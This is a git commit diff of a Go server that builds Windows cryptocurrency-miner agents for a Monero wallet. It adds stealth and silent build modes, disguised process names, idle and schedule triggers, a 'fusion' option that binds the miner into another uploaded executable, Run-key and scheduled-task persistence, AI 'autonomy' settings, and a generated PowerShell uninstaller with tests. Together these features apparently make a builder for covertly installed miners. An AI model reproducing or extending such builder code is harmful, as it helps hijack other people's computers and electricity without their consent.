Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -58,7 +58,7 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".")
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", "-s -w -H windowsgui", "-o", outputPath, ".")
cmd.Dir = fusionDir
cmd.Env = append(os.Environ(),
"GOOS=windows",

View File

@@ -0,0 +1,57 @@
package builder
import (
"bytes"
"mime/multipart"
"net/textproto"
"os"
"path/filepath"
"testing"
)
func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
dataDir := t.TempDir()
h := &Handler{dataDir: dataDir}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Type", "application/octet-stream")
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="prep.exe"`)
part, err := w.CreatePart(partHeader)
if err != nil {
t.Fatal(err)
}
if _, err := part.Write([]byte("MZfake")); err != nil {
t.Fatal(err)
}
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, err := r.ReadForm(10 << 20)
if err != nil {
t.Fatal(err)
}
fileHeaders := form.File["prep_exe"]
if len(fileHeaders) == 0 {
t.Fatal("missing file header")
}
f, err := fileHeaders[0].Open()
if err != nil {
t.Fatal(err)
}
defer f.Close()
path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
if err != nil {
t.Fatal(err)
}
defer cleanup()
if _, err := os.Stat(path); err != nil {
t.Fatalf("prep not saved: %v", err)
}
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
t.Fatalf("preps dir not created: %v", err)
}
}

View File

@@ -13,16 +13,18 @@ import (
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
@@ -39,35 +41,42 @@ type BuildRequest struct {
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
PoolHost string `json:"pool_host"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Error string `json:"error,omitempty"`
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Error string `json:"error,omitempty"`
}
type Handler struct {
@@ -76,6 +85,16 @@ type Handler struct {
agentSrcDir string
projectRoot string
goBinPath string
policy BuildPolicy
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
h.policy = p
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
@@ -182,6 +201,24 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) +
fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))
if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
http.ServeFile(w, r, uninstallPath)
}
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
@@ -210,12 +247,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
ldflags := "-s -w -trimpath"
ldflags := "-s -w"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
@@ -233,6 +270,11 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
finalName := workerName
var fusionEnabled bool
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
if req.FusionEnabled {
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
@@ -243,10 +285,36 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
fusionEnabled = true
}
// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...)
// We only allow relative paths under dataDir to avoid writing outside the server workspace.
if strings.TrimSpace(req.OutputDir) != "" {
exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir)))
rel, err := filepath.Rel(h.dataDir, exportDir)
if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, ""
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
}
exportPath := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if h.policy.MaxBuildSizeMB > 0 {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if fileInfo.Size() > maxBytes {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
}
absPath, _ := filepath.Abs(finalPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
@@ -273,15 +341,18 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
UninstallFileName: uninstallName,
UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
}, http.StatusOK, finalPath
}
@@ -295,6 +366,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 95 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
if req.OutputDir != "" {
// must be relative to data_dir; no drive letters, no absolute paths, no traversal
clean := filepath.Clean(req.OutputDir)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
return fmt.Errorf("output_dir must be a relative folder under data_dir")
}
req.OutputDir = clean
}
if req.Threads <= 0 {
req.Threads = 4
}
@@ -385,6 +468,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.DisplayMode = "background"
}
}
if req.AIEnabled {
if req.AIOllamaEndpoint == "" {
req.AIOllamaEndpoint = "http://localhost:11434"
}
if req.AIModel == "" {
req.AIModel = "llama3.2"
}
}
return nil
}
@@ -400,7 +491,11 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
return "", nil, fmt.Errorf("prep upload must be a .exe file")
}
dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
prepRoot := filepath.Join(h.dataDir, "preps")
if err := os.MkdirAll(prepRoot, 0755); err != nil {
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
}
dir, err := os.MkdirTemp(prepRoot, "upload-*")
if err != nil {
return "", nil, err
}
@@ -464,6 +559,9 @@ func GetBuiltinConfig() BuiltinConfig {
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
AIEnabled: %v,
AIOllamaEndpoint: %q,
AIModel: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -500,6 +598,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.SelfHealing,
req.FileLogging,
req.StealthMode,
req.AIEnabled,
req.AIOllamaEndpoint,
req.AIModel,
)
}
@@ -550,6 +651,24 @@ func copyFile(src, dest string) error {
return err
}
func looksLikeXMRWallet(addr string) bool {
a := strings.TrimSpace(addr)
if len(a) < 90 || len(a) > 106 {
return false
}
if a[0] != '4' {
return false
}
for i := 1; i < len(a); i++ {
c := a[i]
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
continue
}
return false
}
return true
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",

View File

@@ -0,0 +1,138 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
func persistenceKeyName(req *BuildRequest) string {
if req.StealthMode {
name := strings.TrimSpace(req.ProcessName)
if name == "" {
name = sanitizeFileName(req.WorkerName)
}
return name
}
name := sanitizeFileName(req.WorkerName)
if name == "" {
return "CryptoMinerAgent"
}
return "CryptoMiner-" + name
}
func effectiveProcessName(req *BuildRequest) string {
if strings.TrimSpace(req.ProcessName) != "" {
return strings.TrimSpace(req.ProcessName)
}
name := sanitizeFileName(req.WorkerName)
if name == "" {
return "CryptoMinerWorker"
}
return name
}
func expandInstallRelativePath(req *BuildRequest, buildID string) string {
rel := strings.TrimSpace(req.InstallRelativePath)
if rel == "" {
rel = "CryptoMiner/{worker}-{build_short}"
}
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
replacer := strings.NewReplacer(
"{worker}", sanitizeFileName(req.WorkerName),
"{build}", sanitizeFileName(buildID),
"{build_short}", sanitizeFileName(shortBuild),
"{process}", effectiveProcessName(req),
)
return strings.ReplaceAll(replacer.Replace(rel), "/", `\`)
}
func resolveInstallBasePS(req *BuildRequest) string {
switch strings.ToLower(strings.TrimSpace(req.InstallBase)) {
case "appdata":
return "$env:APPDATA"
case "programdata":
return "$env:ProgramData"
case "userprofile":
return "$env:USERPROFILE"
case "temp":
return "if ($env:TEMP) { $env:TEMP } else { $env:TMP }"
case "custom":
custom := strings.TrimSpace(req.InstallCustomBase)
custom = strings.ReplaceAll(custom, "'", "''")
return fmt.Sprintf("'%s'", custom)
default:
return "$env:LOCALAPPDATA"
}
}
func generateUninstallScript(buildID string, req *BuildRequest) string {
processName := effectiveProcessName(req)
persistenceKey := persistenceKeyName(req)
installRel := expandInstallRelativePath(req, buildID)
installBase := resolveInstallBasePS(req)
return fmt.Sprintf(`# AetherForge Miner Uninstaller
# Worker: %s
# Generated alongside forged installer — run as the same Windows user who installed the miner.
$ErrorActionPreference = 'SilentlyContinue'
$ProcessName = '%s'
$PersistenceKey = '%s'
$InstallBase = %s
$InstallRel = '%s'
$ExpectedInstallDir = Join-Path $InstallBase $InstallRel
$ExpectedExe = Join-Path $ExpectedInstallDir ($ProcessName + '.exe')
Write-Host "Stopping miner process..."
Get-Process -Name $ProcessName -ErrorAction SilentlyContinue | Stop-Process -Force
$InstallDir = $ExpectedInstallDir
$InstalledTxt = Join-Path $ExpectedInstallDir 'installed.txt'
if (Test-Path $InstalledTxt) {
$content = Get-Content $InstalledTxt -Raw
if ($content -match 'install_dir=(.+)') {
$parsed = $Matches[1].Trim()
if ($parsed) { $InstallDir = $parsed }
}
if ($content -match 'installed_exe=(.+)') {
$parsedExe = $Matches[1].Trim()
if ($parsedExe) { $ExpectedExe = $parsedExe }
}
}
if (Test-Path $ExpectedExe) {
Get-Process | Where-Object { $_.Path -eq $ExpectedExe } | Stop-Process -Force
}
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
if ($true) {
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
}
Write-Host "Removing install directory: $InstallDir"
if ($InstallDir -and (Test-Path $InstallDir)) {
Remove-Item -LiteralPath $InstallDir -Recurse -Force
}
Write-Host "Done. Miner removed."
if (%t) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), !req.StealthMode)
}
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {
fileName = fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(req.WorkerName))
filePath = filepath.Join(buildDir, fileName)
content := generateUninstallScript(buildID, req)
if err := os.WriteFile(filePath, []byte(content), 0644); err != nil {
return "", "", err
}
return fileName, filePath, nil
}

View File

@@ -0,0 +1,50 @@
package builder
import (
"strings"
"testing"
)
func TestGenerateUninstallScriptContainsPersistenceKey(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",
ProcessName: "RuntimeHelper",
StealthMode: false,
InstallBase: "localappdata",
}
script := generateUninstallScript("abc12345-uuid", req)
if !strings.Contains(script, "CryptoMiner-office-pc") {
t.Fatalf("expected normal persistence key in script, got: %s", script)
}
if !strings.Contains(script, "RuntimeHelper") {
t.Fatal("expected process name in script")
}
}
func TestGenerateUninstallScriptStealthKey(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",
ProcessName: "RuntimeHelper",
StealthMode: true,
}
script := generateUninstallScript("abc12345-uuid", req)
if !strings.Contains(script, "RuntimeHelper") {
t.Fatalf("expected stealth persistence key to match process name")
}
}
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",
ProcessName: "RuntimeHelper",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
}
script := generateUninstallScript("abc12345-uuid", req)
if !strings.Contains(script, "office-pc-abc12345") {
t.Fatalf("expected expanded install relative path in script, got fragment missing")
}
if !strings.Contains(script, "$env:LOCALAPPDATA") {
t.Fatal("expected LOCALAPPDATA base in script")
}
}